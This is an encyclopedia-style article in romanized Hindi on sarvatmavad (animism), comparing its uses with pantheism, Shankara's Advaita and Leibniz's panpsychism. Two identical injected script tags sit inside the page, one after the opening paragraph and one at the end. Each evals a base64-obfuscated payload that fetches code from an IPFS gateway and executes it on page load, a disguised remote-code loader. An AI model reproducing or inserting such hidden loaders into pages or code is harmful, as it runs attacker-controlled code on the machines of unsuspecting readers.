सर्वात्मवाद
sarvatmavad (aangrezi: Animism) vah darshanik, dharmik ya adhyatmik vichar hai ki atma n keval manushyoan mean hoti hai, varanh sabhi jantuoan, vanaspatiyoan, chattanoan, prakritik parighatanaoan[1] mean bhi hoti hai. isase bhi age jakar kabhi-kabhi shabdoan, namoan, upamaoan, roopakoan adi mean bhi atma ke astitv ki bat kahi jati hai. sarvatmavad ka darshan mukhyat: adivasi samajoan mean paya jata hai, parantu yah hinduoan ke kuchh sampradayoan mean bhi yah paya jata hai.[2]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
prayog
hindi mean sarvatmavad ka prayog nimnalikhit tin arthoan mean hota hai-
- (k) kuchh log sarveshvaravad[3] ke arth mean sarvatmavad ka prayog karate hai, jaise ramachandr shukl aur shyamasundar das ne kramash: jayasi aur kabir ke prasang mean kiya hai. yah sarvatmavad ka sarvatha dooshit prayog hai. eeshvar aur atma ke pratyayoan mean mahanh aantar hai. eeshvar eeshan ya shasan karata hai, atma se yah arth kathamapi nahian liya ja sakata. aangrezi shabd 'paianthijm' ke lie sarveshvaravad upayukt shabd hai, sarvatmavad nahian.
- (kh) bharatiy darshan mean shankarachary ke advaitavad ke arth mean bhi sarvatmavad ka prayog hota hai, kyoanki unake anusar 'atmaivedan sarvamh', atma hi yah sab kuchh hai. bina atma ke kisi vastu ka grahan nahian ho sakata hai, at: atma hi sab kuchh hai- "atm- vyatireken agrahanath atmaivasarvamh". yahaan atma hi ek aur advitiy sath hai, any kuchh jo atma se bhinn hai, vastut: mithya hai. atmapoorvak sab kuchh ko samajhane par 'sab kuchh' atma hi pratit hoga. at: yah sarv aur atma ka tattvavad ke anusar abhinn arth hai. yah sarvatmavad ka bharatiy arth hai. yah gadha hua shabd nahian hai. hindi sahity mean sarvatmavad ka yah arth pray: nahian kiya jata.
- (g) hindi mean sarvatmavad ek naya tatha gadha hua shabd samajha jata hai. isaka vahi arth liya jata hai, jo aangrezi shabd painasaikijm[4] ka hai. 'painasaikijm' ke anusar samast vishv chetan praniyoan se hi bana hai. sabhi chetan prani manushy jaise hi haian. achetan koee vastu nahian hai tathakathit jad vastut: chaitanyavanh prani hai, par usaki chetana suptavastha mean hai. yoorop mean laibanij ka darshan is vad ka pramukh udaharan hai. bharat mean aisa darshan kabhi vikasit nahian hua.[2]
sarvajivavad aur sarvatmavad
bharatiy darshan ke sarvatmavad se laibanij ke darshan ko prithakh rakhane ke lie doosare ko sarvatmavad n kahakar 'sarvajivavad' ya 'sarvachetanavad' kahana adhik upayukt hai. sarvajivavad aur sarvatmavad ka aantar samajh lena avashyak hai. pahale mean j d vastu mithya nahian hai, doosare mean hai. pahale mean j d vastu supt jiv ya chetan prani hai, doosare mean vah mithya hai. pahale mean chetan prani ya jiv anek hai, doosare mean atma ek aur advitiy hai. is prakar sarvajivavad vaipulyavad hai to sarvatmavad advaitavad. sarvatmavad ki atma ka pratyayan bhi sarvajivavad ke jiv ya chetan prani ki chetanata se bhinn hai. pahale mean atma 'neti-neti' ya 'sath chith anand' hai, to doosare mean chetanata keval jnan, bhav aur ichchha prapt karane vali hai. atma jnata, karta aur bhokta nahian hai, sarvajivavad ya jiv jnata, karta aur bhokta hai.
shankarachary ke darshan mean prayog
hindi ke sant sahity mean shankarachary ke darshan ke arth mean sarvatmavad ka prachur prayog hai, par usamean sarveshvaravad aur sarvatmavad ko prithakh karana kathin hai. vishuddh sarvatmavad praudh darshanikoan ki hi kritiyoan mean paya jata hai. hindi darshan ke samrat nishchaladas ke 'vichar-sagar' aur 'vritti- prabhakar' mean sarvatmavad usi arth me siddh kiya gaya hai, jis arth mean vah advaitavedaant ke granthoan mean hai.[5][2]
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
